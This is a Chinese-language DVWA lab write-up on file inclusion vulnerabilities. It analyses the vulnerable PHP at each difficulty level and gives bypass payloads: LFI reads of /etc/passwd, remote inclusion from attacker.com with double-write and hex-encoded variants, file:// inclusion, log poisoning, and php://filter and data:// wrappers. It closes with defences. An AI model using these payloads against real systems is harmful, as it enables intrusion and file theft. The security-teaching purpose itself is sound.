DVWA-File Inclusion
字数 2120 2025-08-11 17:39:47
文件包含漏洞全面解析与防御
1. 文件包含漏洞概述
文件包含漏洞是一种常见的Web安全漏洞,当应用程序动态包含文件时,未对用户输入进行充分验证,导致攻击者可以包含恶意文件或系统敏感文件。
漏洞原理
- 服务器端使用
include、require等函数动态包含文件 - 包含的文件路径由用户可控参数决定
- 未对用户输入进行严格过滤
危害
- 任意文件读取:读取服务器上的敏感文件(如/etc/passwd)
- 远程代码执行:包含远程恶意脚本文件
- 本地文件执行:结合文件上传漏洞执行恶意代码
2. 漏洞等级分析
2.1 Low级别
代码分析:
<?php
// The page we wish to display
$file = $_GET['page'];
?>
漏洞特征:
- 完全未对
page参数进行任何过滤 - 可直接包含任意本地或远程文件
攻击方式:
-
本地文件包含(LFI):
- 绝对路径:
/vulnerabilities/fi/?page=/etc/passwd - 相对路径:
/vulnerabilities/fi/?page=etc/passwd
- 绝对路径:
-
远程文件包含(RFI):
- 直接包含:
/vulnerabilities/fi/?page=http://attacker.com/malicious.php - HEX编码:
/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f...
- 直接包含:
-
结合文件上传:
- 上传PHP文件后包含:
/vulnerabilities/fi/?page=uploads/malicious.php
- 上传PHP文件后包含:
2.2 Medium级别
代码分析:
<?php
$file = $_GET['page'];
// Input validation
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>
防御措施:
- 删除
http://、https://、../和..\\字符串
绕过方法:
-
绝对路径LFI:
/vulnerabilities/fi/?page=/etc/passwd(仍然有效)
-
双写绕过RFI:
hthttp://tp://attacker.com/malicious.php→ 删除http://后变为http://attacker.com/malicious.php
-
HEX编码绕过:
- 对双写URL进行HEX编码:
%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f...
- 对双写URL进行HEX编码:
2.3 High级别
代码分析:
<?php
$file = $_GET['page'];
// Input validation
if(!fnmatch("file*", $file) && $file != "include.php") {
echo "ERROR: File not found!";
exit;
}
?>
防御措施:
- 使用
fnmatch函数检查文件名必须以"file"开头
绕过方法:
- file协议包含:
file:///path/to/malicious.php- 示例:
/vulnerabilities/fi/?page=file:///var/www/html/uploads/malicious.php
2.4 Impossible级别
代码分析:
<?php
$file = $_GET['page'];
// Only allow include.php or file{1..3}.php
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php") {
echo "ERROR: File not found!";
exit;
}
?>
防御措施:
- 严格白名单机制,只允许包含特定文件
3. 防御措施总结
-
白名单机制:
- 只允许包含预定义的文件(Impossible级别做法)
-
输入验证:
- 检查文件名是否符合预期格式
- 禁止包含远程文件(关闭
allow_url_include)
-
路径限制:
- 设置
open_basedir限制PHP可访问的目录 - 禁止使用
../等目录遍历字符
- 设置
-
安全函数:
- 使用
basename()获取文件名部分 - 使用
realpath()解析完整路径后验证
- 使用
-
服务器配置:
- PHP配置中设置
allow_url_fopen = Off和allow_url_include = Off
- PHP配置中设置
4. 实际攻击场景示例
4.1 结合文件上传的攻击
- 上传一个包含恶意代码的PHP文件到服务器
- 通过文件包含漏洞执行该文件
/?page=uploads/malicious.php
4.2 日志文件污染攻击
- 通过User-Agent或Referer注入PHP代码到日志文件
- 包含日志文件执行代码
/?page=/var/log/apache2/access.log
4.3 PHP伪协议利用
- 使用
php://filter读取文件源码/?page=php://filter/convert.base64-encode/resource=config.php
- 使用
data://执行代码/?page=data://text/plain,<?php phpinfo();?>
5. 检测与验证方法
-
本地文件包含测试:
- 尝试包含已知系统文件(如/etc/passwd)
- 尝试包含Web目录下的配置文件
-
远程文件包含测试:
- 尝试包含外部HTTP服务器上的文件
- 测试各种协议(http://, https://, ftp://等)
-
编码绕过测试:
- URL编码
- 双重编码
- HEX编码
-
路径遍历测试:
- 尝试使用../进行目录遍历
- 尝试绝对路径
6. 修复建议
-
代码层面:
- 使用白名单而非黑名单
- 对用户输入进行严格验证
- 避免动态包含用户可控的文件
-
架构层面:
- 将可包含文件放在独立目录
- 限制文件上传目录的执行权限
-
运维层面:
- 定期更新PHP版本
- 审查服务器配置
- 监控异常文件访问行为
通过全面理解文件包含漏洞的原理、攻击方式和防御措施,开发人员和安全工程师可以更有效地防范此类安全风险。